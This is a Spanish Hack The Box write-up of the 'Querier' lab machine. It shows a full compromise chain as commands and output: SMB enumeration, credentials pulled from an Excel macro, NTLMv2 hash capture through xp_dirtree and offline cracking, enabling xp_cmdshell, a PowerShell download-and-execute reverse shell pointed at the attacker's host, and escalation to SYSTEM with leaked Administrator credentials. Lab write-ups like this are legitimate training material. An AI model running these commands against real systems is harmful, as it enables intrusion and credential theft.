Hack The Box Querier
Querier
Se procede con la fase de reconocimiento lanzando primeramente un ping
a la dirección IP 10.10.10.125.
1
2
3
4
5
6
7
❯ ping -c 1 10.10.10.125
PING 10.10.10.125 (10.10.10.125) 56(84) bytes of data.
64 bytes from 10.10.10.125: icmp_seq=1 ttl=127 time=143 ms
--- 10.10.10.125 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 143.424/143.424/143.424/0.000 ms
De acuerdo con el TTL de traza ICMP, se puede determinar que se trata de una máquina con sistema operativo Windows. A continuación se procede con la ejecución de nmap
para determinar los puertos abiertos de la máquina y exportanto la información al archivo allPorts.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
❯ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.125 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2021-09-17 13:01 CDT
Initiating SYN Stealth Scan at 13:01
Scanning 10.10.10.125 [65535 ports]
Discovered open port 139/tcp on 10.10.10.125
Discovered open port 445/tcp on 10.10.10.125
Discovered open port 135/tcp on 10.10.10.125
Discovered open port 49666/tcp on 10.10.10.125
Discovered open port 49665/tcp on 10.10.10.125
Discovered open port 49668/tcp on 10.10.10.125
Discovered open port 49664/tcp on 10.10.10.125
Discovered open port 49669/tcp on 10.10.10.125
Discovered open port 49667/tcp on 10.10.10.125
Discovered open port 47001/tcp on 10.10.10.125
Discovered open port 5985/tcp on 10.10.10.125
Discovered open port 1433/tcp on 10.10.10.125
Discovered open port 49670/tcp on 10.10.10.125
Discovered open port 49671/tcp on 10.10.10.125
Completed SYN Stealth Scan at 13:02, 23.61s elapsed (65535 total ports)
Nmap scan report for 10.10.10.125
Host is up, received user-set (0.22s latency).
Scanned at 2021-09-17 13:01:43 CDT for 24s
Not shown: 62465 closed tcp ports (reset), 3056 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
1433/tcp open ms-sql-s syn-ack ttl 127
5985/tcp open wsman syn-ack ttl 127
47001/tcp open winrm syn-ack ttl 127
49664/tcp open unknown syn-ack ttl 127
49665/tcp open unknown syn-ack ttl 127
49666/tcp open unknown syn-ack ttl 127
49667/tcp open unknown syn-ack ttl 127
49668/tcp open unknown syn-ack ttl 127
49669/tcp open unknown syn-ack ttl 127
49670/tcp open unknown syn-ack ttl 127
49671/tcp open unknown syn-ack ttl 127
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 23.92 seconds
Raw packets sent: 115468 (5.081MB) | Rcvd: 76061 (3.043MB)
Mediante la función extractPorts definida a nivel de zsh
, se obtiene la información más relevante de la captura grepeable.
1
2
3
4
5
6
7
8
9
10
11
❯ extractPorts allPorts
───────┬─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: extractPorts.tmp
───────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 10.10.10.125
5 │ [*] Open ports: 135,139,445,1433,5985,47001,49664,49665,49666,49667,49668,49669,49670,49671
6 │
7 │ [*] Ports copied to clipboard
A continuación se lanza una serie de scripts para determinar el servicio y versión que corren para los puertos detectados.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
❯ nmap -sC -sV -p135,139,445,1433,5985,47001,49664,49665,49666,49667,49668,49669,49670,49671 10.10.10.125 -oN targeted
Starting Nmap 7.92 ( https://nmap.org ) at 2021-09-17 13:03 CDT
Nmap scan report for 10.10.10.125
Host is up (0.14s latency).
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2021-09-17T18:00:36
|_Not valid after: 2051-09-17T18:00:36
| ms-sql-ntlm-info:
| Target_Name: HTB
| NetBIOS_Domain_Name: HTB
| NetBIOS_Computer_Name: QUERIER
| DNS_Domain_Name: HTB.LOCAL
| DNS_Computer_Name: QUERIER.HTB.LOCAL
| DNS_Tree_Name: HTB.LOCAL
|_ Product_Version: 10.0.17763
|_ssl-date: 2021-09-17T18:09:27+00:00; +4m45s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| ms-sql-info:
| 10.10.10.125:1433:
| Version:
| name: Microsoft SQL Server 2017 RTM
| number: 14.00.1000.00
| Product: Microsoft SQL Server 2017
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
|_clock-skew: mean: 4m44s, deviation: 0s, median: 4m43s
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-09-17T18:09:22
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 68.70 seconds
Vamos a empezar con el análisis. Vemos el puerto 445 abierto, por lo que podríamos intentar conectarnos haciendo uso de una null session:
1
2
3
4
5
6
7
8
9
❯ smbclient -L 10.10.10.125 -N
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
Reports Disk
SMB1 disabled -- no workgroup available
En el resultado, podemos ver un recurso denominado Reports
, por lo que ahora nos conectaremos haciendo uso de smbclient
con una null session para ver si el directorio tiene contenido:
1
2
3
4
5
6
7
8
9
❯ smbclient //10.10.10.125/Reports -N
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Mon Jan 28 17:23:48 2019
.. D 0 Mon Jan 28 17:23:48 2019
Currency Volume Report.xlsm A 12229 Sun Jan 27 16:21:34 2019
6469119 blocks of size 4096. 1614769 blocks available
smb: \>
Observamos el archivo Currency Volume Report.xlsm, por lo que lo traemos a nuestra máquina de atacante para ver su contenido.
1
2
3
smb: \> get "Currency Volume Report.xlsm"
getting file \Currency Volume Report.xlsm of size 12229 as Currency Volume Report.xlsm (16.4 KiloBytes/sec) (average 16.4 KiloBytes/sec)
smb: \>
Para efectos prácticos, renombramos el archivo a document.xlsm. Obtenemos datos del documento antes de abrirlo.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
❯ file document.xlsm
document.xlsm: Microsoft Excel 2007+
❯ exiftool document.xlsm
ExifTool Version Number : 12.16
File Name : document.xlsm
Directory : .
File Size : 12 KiB
File Modification Date/Time : 2021:09:17 13:27:24-05:00
File Access Date/Time : 2021:09:17 13:27:24-05:00
File Inode Change Date/Time : 2021:09:17 13:28:04-05:00
File Permissions : rw-r--r--
File Type : XLSM
File Type Extension : xlsm
MIME Type : application/vnd.ms-excel.sheet.macroEnabled
Zip Required Version : 20
Zip Bit Flag : 0x0006
Zip Compression : Deflated
Zip Modify Date : 1980:01:01 00:00:00
Zip CRC : 0x513599ac
Zip Compressed Size : 367
Zip Uncompressed Size : 1087
Zip File Name : [Content_Types].xml
Creator : Luis
Last Modified By : Luis
Create Date : 2019:01:21 20:38:56Z
Modify Date : 2019:01:27 22:21:34Z
Application : Microsoft Excel
Doc Security : None
Scale Crop : No
Heading Pairs : Worksheets, 1
Titles Of Parts : Currency Volume
Company :
Links Up To Date : No
Shared Doc : No
Hyperlinks Changed : No
App Version : 16.0300
Vemos que se trata de un archivo de Microsoft Excel 2007 creado por el usuario Luis y que el valor de MIME Type es application/vnd.ms-excel.sheet.macroEnabled
, lo que nos indica que el archivo presenta una macro (también lo podriamos ver por la extensión del archivo). Para la visualización del contenido, podríamos utilizar Open Office; pero para no pelearnos con temas de proporciones o cosas random, nos instalaremos WPS Office.
Vemos que no presenta contenido el archivo; sin embargo, sabemos que presenta una macro, la cual podríamos tratar de visualizarla con WPS Office. Para este caso, vamos a utilizar la siguiente herramienta:
1
2
3
4
5
6
7
8
❯ git clone https://github.com/decalage2/oletools
Clonando en 'oletools'...
remote: Enumerating objects: 6356, done.
remote: Counting objects: 100% (239/239), done.
remote: Compressing objects: 100% (169/169), done.
remote: Total 6356 (delta 156), reused 139 (delta 70), pack-reused 6117
Recibiendo objetos: 100% (6356/6356), 4.80 MiB | 5.28 MiB/s, listo.
Resolviendo deltas: 100% (4365/4365), listo.
Ingresamos al directorio e instalamos con el siguienten comando:
1
❯ python3 setup.py install
Ahora ejecutamos el siguiente comando pasandole como parámetro el nombre del archivo que queremos visualizar:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
❯ olevba document.xlsm
olevba 0.60 on Python 3.9.2 - http://decalage.info/python/oletools
===============================================================================
FILE: document.xlsm
Type: OpenXML
WARNING For now, VBA stomping cannot be detected for files in memory
-------------------------------------------------------------------------------
VBA MACRO ThisWorkbook.cls
in file: xl/vbaProject.bin - OLE stream: 'VBA/ThisWorkbook'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
' macro to pull data for client volume reports
'
' further testing required
Private Sub Connect()
Dim conn As ADODB.Connection
Dim rs As ADODB.Recordset
Set conn = New ADODB.Connection
conn.ConnectionString = "Driver={SQL Server};Server=QUERIER;Trusted_Connection=no;Database=volume;Uid=reporting;Pwd=PcwTWTHRwryjc
$c6"
conn.ConnectionTimeout = 10
conn.Open
If conn.State = adStateOpen Then
' MsgBox "connection successful"
'Set rs = conn.Execute("SELECT * @@version;")
Set rs = conn.Execute("SELECT * FROM volume;")
Sheets(1).Range("A1").CopyFromRecordset rs
rs.Close
End If
End Sub
-------------------------------------------------------------------------------
VBA MACRO Sheet1.cls
in file: xl/vbaProject.bin - OLE stream: 'VBA/Sheet1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
+----------+--------------------+---------------------------------------------+
|Type |Keyword |Description |
+----------+--------------------+---------------------------------------------+
|Suspicious|Open |May open a file |
|Suspicious|Hex Strings |Hex-encoded strings were detected, may be |
| | |used to obfuscate strings (option --decode to|
| | |see all) |
+----------+--------------------+---------------------------------------------+
En la información reportada, vemos que la macro establece una conexión con una base de datos, por lo que nos guardamos las credenciales de acceso. Para validar si las credenciales son válidas, podemos intentar establecer una conexión por smb a través de la utilidad CrackMapExec:
1
2
3
❯ crackmapexec smb 10.10.10.125 -u 'reporting' -p 'PcwTWTHRwryjc$c6'
SMB 10.10.10.125 445 QUERIER [*] Windows 10.0 Build 17763 x64 (name:QUERIER) (domain:HTB.LOCAL) (signing:False) (SMBv1:False)
SMB 10.10.10.125 445 QUERIER [-] HTB.LOCAL\reporting:PcwTWTHRwryjc$c6 STATUS_NO_LOGON_SERVERS
Vemos que nos reporta un [-], pero lo maneja como dominio de HTB.LOCAL, vamos a probar si el usario existe pero a nivel del sistema y no de dominio:
1
2
3
❯ crackmapexec smb 10.10.10.125 -u 'reporting' -p 'PcwTWTHRwryjc$c6' -d WORKGROUP
SMB 10.10.10.125 445 QUERIER [*] Windows 10.0 Build 17763 x64 (name:QUERIER) (domain:WORKGROUP) (signing:False) (SMBv1:False)
SMB 10.10.10.125 445 QUERIER [+] WORKGROUP\reporting:PcwTWTHRwryjc$c6
Ahora si vemos un [+], lo que significa que el usuario existe a nivel de sistema. Una vez que validamos las credenciales, podemos conectarnos al servicio de Microsoft SQL Server:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ mssqlclient.py WORKGROUP/reporting@10.10.10.125 -windows-auth
/usr/local/lib/python2.7/dist-packages/OpenSSL/crypto.py:14: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.
from cryptography import utils, x509
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: volume
[*] ENVCHANGE(LANGUAGE): Old Value: None, New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(QUERIER): Line 1: Changed database context to 'volume'.
[*] INFO(QUERIER): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
[!] Press help for extra shell commands
SQL>
Vamos a probar si podemos ejecutar algunos comandos:
1
2
3
4
5
SQL> xp_cmdshell "whoami"
[-] ERROR(QUERIER): Line 1: The EXECUTE permission was denied on the object 'xp_cmdshell', database 'mssqlsystemresource', schema 'sys'.
SQL> sp_configure "show advanced", 1
[-] ERROR(QUERIER): Line 105: User does not have permission to perform this action.
SQL>
Vemos que no podemos ejecutar comandos a nivel de sistema ni tampoco tenemos privilegios para alterar la configuración que nos pueda permitir habilitar la ejecución de comandos. Por lo tanto, lo que nos queda sería tratar de acceder a un recurso compartido por red mediante el uso del comando xp_dirtree
. Asi que, nos compartimos un recurso desde nuestra máquina de atacante:
1
2
3
4
5
6
SQL> xp_dirtree "\\10.10.14.2\smbFolder\test"
subdirectory depth
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -----------
SQL>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
❯ impacket-smbserver smbFolder $(pwd) -smb2support
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.10.125,49694)
[*] AUTHENTICATE_MESSAGE (QUERIER\mssql-svc,QUERIER)
[*] User QUERIER\mssql-svc authenticated successfully
[*] mssql-svc::QUERIER:aaaaaaaaaaaaaaaa:8bd4caf70224f8aebc7c79404049305d:0101000000000000800c9068ffabd701410f4a3dd8d7221300000000010010005a0077007100570073004c004b007900030010005a0077007100570073004c004b007900020010004100500068004f0064004c0050007500040010004100500068004f0064004c005000750007000800800c9068ffabd70106000400020000000800300030000000000000000000000000300000b58fdd1714e6ed624db2b7fbba1433facc61ba9747ccbeaf3c5b2e7f2aa100d40a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310034002e003200000000000000000000000000
[*] Connecting Share(1:IPC$)
[*] Connecting Share(2:smbFolder)
[*] AUTHENTICATE_MESSAGE (\,QUERIER)
[*] User QUERIER\ authenticated successfully
[*] :::00::aaaaaaaaaaaaaaaa
[*] Disconnecting Share(1:IPC$)
[*] Disconnecting Share(2:smbFolder)
[*] Closing down connection (10.10.10.125,49694)
[*] Remaining connections []
En nuestra máquina de atacante podemos un hash NTLMv2 el cual NO nos service para hacer pass the hash; pero podriamos tratar de crackearlo para ver la contraseña en texto claro. Por lo que creamos un archivo llamado hash en el cual pegamos el hash de NTLMv2 que vemos y ocupamos la herramienta john
. En algunos casos es posible que john
no pueda crackear el hash, en caso de que suceda, obtener un nuevo hash y tratar de crackearlo o hacer uso de Responder.
1
2
3
4
5
6
7
8
❯ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
corporate568 (mssql-svc)
1g 0:00:00:30 DONE (2021-09-17 15:10) 0.03235g/s 289819p/s 289819c/s 289819C/s corpron50..corporal40
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed
Tenemos unas nuevas credenciales, por lo que pasamos a validarlas con crackmapexec
:
1
2
3
❯ crackmapexec smb 10.10.10.125 -u 'mssql-svc' -p 'corporate568' -d WORKGROUP
SMB 10.10.10.125 445 QUERIER [*] Windows 10.0 Build 17763 x64 (name:QUERIER) (domain:WORKGROUP) (signing:False) (SMBv1:False)
SMB 10.10.10.125 445 QUERIER [+] WORKGROUP\mssql-svc:corporate568
Ahora, intentamos conectarnos a Microsoft SQL Server con las nuevas credenciales y validamos si podemos ejecutar comandos a nivel de sistema:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
❯ mssqlclient.py WORKGROUP/mssql-svc@10.10.10.125 -windows-auth
/usr/local/lib/python2.7/dist-packages/OpenSSL/crypto.py:14: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.
from cryptography import utils, x509
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: None, New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(QUERIER): Line 1: Changed database context to 'master'.
[*] INFO(QUERIER): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
[!] Press help for extra shell commands
SQL> xp_cmdshell "whoami"
[-] ERROR(QUERIER): Line 1: SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', search for 'xp_cmdshell' in SQL Server Books Online.
SQL> sp_configure "xp_cmdshell", 1
[-] ERROR(QUERIER): Line 62: The configuration option 'xp_cmdshell' does not exist, or it may be an advanced option.
SQL> sp_configure "show advanced", 1
[*] INFO(QUERIER): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL> reconfigure
SQL> sp_configure "xp_cmdshell", 1
[*] INFO(QUERIER): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL> reconfigure
SQL> xp_cmdshell "whoami"
output
--------------------------------------------------------------------------------
querier\mssql-svc
NULL
SQL>
Explicamos un poco los comandos ejecutados. Primero tratamos de ejecutar un comando a nivel de sistema con xp_cmdshell
; sin embargo nos manda un error, por lo tanto tratamos de cambiar el valor de xp_cmdshell
de 0 a 1 con sp_configure "xp_cmdshell, 1"
, pero otra vez nos sale otro error. A este punto cambiamos el valor de show advanced
de 0 a 1, lo cual nos lo permite y aplicamos una reconfiguración para que se apliquen los cambios con reconfigure
. Ahora nos queda cambiar el valor de xp_cmdshell
de 0 a 1, aplicamos un reconfigure
y ya podemos ejecutar comando a nivel de sistema.
Vamos a entablarnos una reverse shell, copiamos el archivo Invoke-PowerShellTcp.ps1 a nuestro directorio de trabajo:
1
❯ cp /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 PS.ps1
Abrimos el archivo y al final agregamos la siguiente linea:
1
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.2 -Port 443
Nos compartimos un servidor HTTP con python, nos ponemos en escucha a través del puerto 443 y procedemos a ejecutar lo siguiente en la máquina víctima:
1
SQL> xp_cmdshell "powershell IEX(New-Object Net.WebClient).downloadString(\"http://10.10.14.2/PS.ps1\")"
1
2
3
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.125 - - [17/Sep/2021 15:50:09] "GET /PS.ps1 HTTP/1.1" 200 -
1
2
3
4
5
6
7
8
9
❯ rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.125] 49702
Windows PowerShell running as user mssql-svc on QUERIER
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
whoami
querier\mssql-svc
PS C:\Windows\system32>
Antes de hacer cualquier cosa, validamos si nos encontramos en un sistema de 64 bits y en un proceso igual:
1
2
3
4
5
[Environment]::Is64BitOperatingSystem
True
[Environment]::Is64BitProcess
True
PS C:\Windows\system32>
A este punto ya poder visualizar la flag (user.txt). Ahora solo falta escalar privilegios, por lo que empezamos a enumerar un poco el sistema.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
PS C:\Users\mssql-svc\Desktop>
Observamos que tenemos el privilegio SeImpersonatePrivilege habilitado, por lo que ya sabemos tirar Juicy Potato; pero para cambiar un poco, vamos a descargar la siguiente utilidad para ver otra forma de escalar privilegios:
1
2
3
4
5
6
7
8
9
10
11
12
13
❯ git clone https://github.com/PowerShellMafia/PowerSploit
Clonando en 'PowerSploit'...
remote: Enumerating objects: 3086, done.
remote: Total 3086 (delta 0), reused 0 (delta 0), pack-reused 3086
Recibiendo objetos: 100% (3086/3086), 10.47 MiB | 7.17 MiB/s, listo.
Resolviendo deltas: 100% (1809/1809), listo.
❯ cd PowerSploit/Privesc/
❯ ll
.rw-r--r-- root root 26 KB Fri Sep 17 16:05:06 2021 Get-System.ps1
.rw-r--r-- root root 586 KB Fri Sep 17 16:05:06 2021 PowerUp.ps1
.rw-r--r-- root root 1.6 KB Fri Sep 17 16:05:06 2021 Privesc.psd1
.rw-r--r-- root root 67 B Fri Sep 17 16:05:06 2021 Privesc.psm1
.rw-r--r-- root root 4.5 KB Fri Sep 17 16:05:06 2021 README.md
Abrimos el archivo PowerUp.ps1
y al final agregamos la siguiente linea:
1
Invoke-AllChecks
Nos compartimos un servidor HTTP con python y procedemos a descargar el archivo a la máquina víctima:
1
2
3
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.125 - - [17/Sep/2021 16:11:59] "GET /PowerUp.ps1 HTTP/1.1" 200 -
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
IEX(New-Object Net.WebClient).downloadString("http://10.10.14.2/PowerUp.ps1") [4/4]
Privilege : SeImpersonatePrivilege
Attributes : SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED
TokenHandle : 2512
ProcessId : 1108
Name : 1108
Check : Process Token Privileges
ServiceName : UsoSvc
Path : C:\Windows\system32\svchost.exe -k netsvcs -p
StartName : LocalSystem
AbuseFunction : Invoke-ServiceAbuse -Name 'UsoSvc'
CanRestart : True
Name : UsoSvc
Check : Modifiable Services
ModifiablePath : C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps
IdentityReference : QUERIER\mssql-svc
Permissions : {WriteOwner, Delete, WriteAttributes, Synchronize...}
%PATH% : C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps
Name : C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps
Check : %PATH% .dll Hijacks
AbuseFunction : Write-HijackDll -DllPath 'C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps\wlbsctrl.dll'
UnattendPath : C:\Windows\Panther\Unattend.xml
Name : C:\Windows\Panther\Unattend.xml
Check : Unattended Install Files
Changed : {2019-01-28 23:12:48}
UserNames : {Administrator}
NewName : [BLANK]
Passwords : {MyUnclesAreMarioAndLuigi!!1!}
File : C:\ProgramData\Microsoft\Group
Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups\Groups.xml
Check : Cached GPP Files
De los resultados observamos, vemos diferentes formas de escalar privilegios, SeImpersonatePrivilege, UsoSvc, HijackDll y tambien vemos las credenciales del usuarios Administrator. Si no sabemos como escalar privilegios, podemos ir al siguiente link:
Como tenemos credenciales, podemos probarlas con crackmapexec
:
1
2
3
❯ crackmapexec smb 10.10.10.125 -u 'Administrator' -p 'MyUnclesAreMarioAndLuigi!!1!' -d WORKGROUP
SMB 10.10.10.125 445 QUERIER [*] Windows 10.0 Build 17763 x64 (name:QUERIER) (domain:WORKGROUP) (signing:False) (SMBv1:False)
SMB 10.10.10.125 445 QUERIER [+] WORKGROUP\Administrator:MyUnclesAreMarioAndLuigi!!1! (Pwn3d!)
Observamos que nos pone un Pwn3d!
, por lo tanto podemos conectarnos a la máquina con psexec.py
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
❯ psexec.py WORKGROUP/Administrator@10.10.10.125
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
Password:
[*] Requesting shares on 10.10.10.125.....
[*] Found writable share ADMIN$
[*] Uploading file svpJgbpv.exe
[*] Opening SVCManager on 10.10.10.125.....
[*] Creating service vqjK on 10.10.10.125.....
[*] Starting service vqjK.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.292]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system
C:\Windows\system32>
Ya somos administradores de la máquina y podemos visualizar la flag (root.txt).